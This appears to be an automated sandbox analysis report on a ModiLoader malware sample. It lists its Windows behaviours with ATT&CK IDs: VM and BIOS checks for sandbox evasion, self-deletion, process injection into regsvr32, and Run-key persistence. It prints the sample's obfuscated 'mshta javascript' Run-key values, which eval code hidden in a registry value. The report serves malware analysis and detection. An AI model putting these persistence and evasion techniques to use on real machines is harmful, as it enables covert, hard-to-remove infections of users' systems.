modiloader | a858bcf2d69d9791cb443cd0b944c199807b41e6d9050afda993eabf03812c8d

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:i7fjkr2rWi=\"5VT\";So1=new%20ActiveXObject(\"WScript.Shell\");bIgQKJ8eX=\"1UOfpXb6pB\";SC4QN=So1.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\0ce5cf04e2\\\\48becf64\");H7jt8JMI=\"Q\";eval(SC4QN);s0JRHGQ1DM=\"MaJB7f\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

4432 regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:gVBzPC8l=\"Vawth\";yT11=new%20ActiveXObject(\"WScript.Shell\");gP23NQsA=\"p9y87zK80\";b5h6ql=yT11.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\0ce5cf04e2\\\\48becf64\");vNx3vRnpq=\"9aKJ\";eval(b5h6ql);jqZ5jVB=\"1x\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:OzRp1nz1=\"9S3Bnqmv\";L0a0=new%20ActiveXObject(\"WScript.Shell\");kpENt7e5=\"XyPes47t\";hPiB2=L0a0.RegRead(\"HKCU\\\\software\\\\0ce5cf04e2\\\\48becf64\");F5oaYzgX=\"DzW5fspL\";eval(hPiB2);qb0sduud=\"Hu8XuLIVCi\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

regsvr32.exe

pid	process
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

774750e7081bfd239833590441172f7e_JaffaCakes118.exeregsvr32.exeregsvr32.exe

pid	process
4144	774750e7081bfd239833590441172f7e_JaffaCakes118.exe
4144	774750e7081bfd239833590441172f7e_JaffaCakes118.exe
4144	774750e7081bfd239833590441172f7e_JaffaCakes118.exe
4440	regsvr32.exe
4440	regsvr32.exe
4440	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe
4432	regsvr32.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

774750e7081bfd239833590441172f7e_JaffaCakes118.exeregsvr32.exeregsvr32.exe

description	pid	process	target process
PID 4144 wrote to memory of 4440	4144	774750e7081bfd239833590441172f7e_JaffaCakes118.exe	regsvr32.exe
PID 4144 wrote to memory of 4440	4144	774750e7081bfd239833590441172f7e_JaffaCakes118.exe	regsvr32.exe
PID 4144 wrote to memory of 4440	4144	774750e7081bfd239833590441172f7e_JaffaCakes118.exe	regsvr32.exe
PID 4440 wrote to memory of 4432	4440	regsvr32.exe	regsvr32.exe
PID 4440 wrote to memory of 4432	4440	regsvr32.exe	regsvr32.exe
PID 4440 wrote to memory of 4432	4440	regsvr32.exe	regsvr32.exe
PID 4432 wrote to memory of 1920	4432	regsvr32.exe	regsvr32.exe
PID 4432 wrote to memory of 1920	4432	regsvr32.exe	regsvr32.exe
PID 4432 wrote to memory of 1920	4432	regsvr32.exe	regsvr32.exe
PID 4432 wrote to memory of 3068	4432	regsvr32.exe	regsvr32.exe
PID 4432 wrote to memory of 3068	4432	regsvr32.exe	regsvr32.exe
PID 4432 wrote to memory of 3068	4432	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\774750e7081bfd239833590441172f7e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\774750e7081bfd239833590441172f7e_JaffaCakes118.exe"
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4144

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4440

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4432

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1920

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:3068

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4320,i,13879737908471496610,15335851594401413307,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:8
1⤵
PID:3772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

3

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion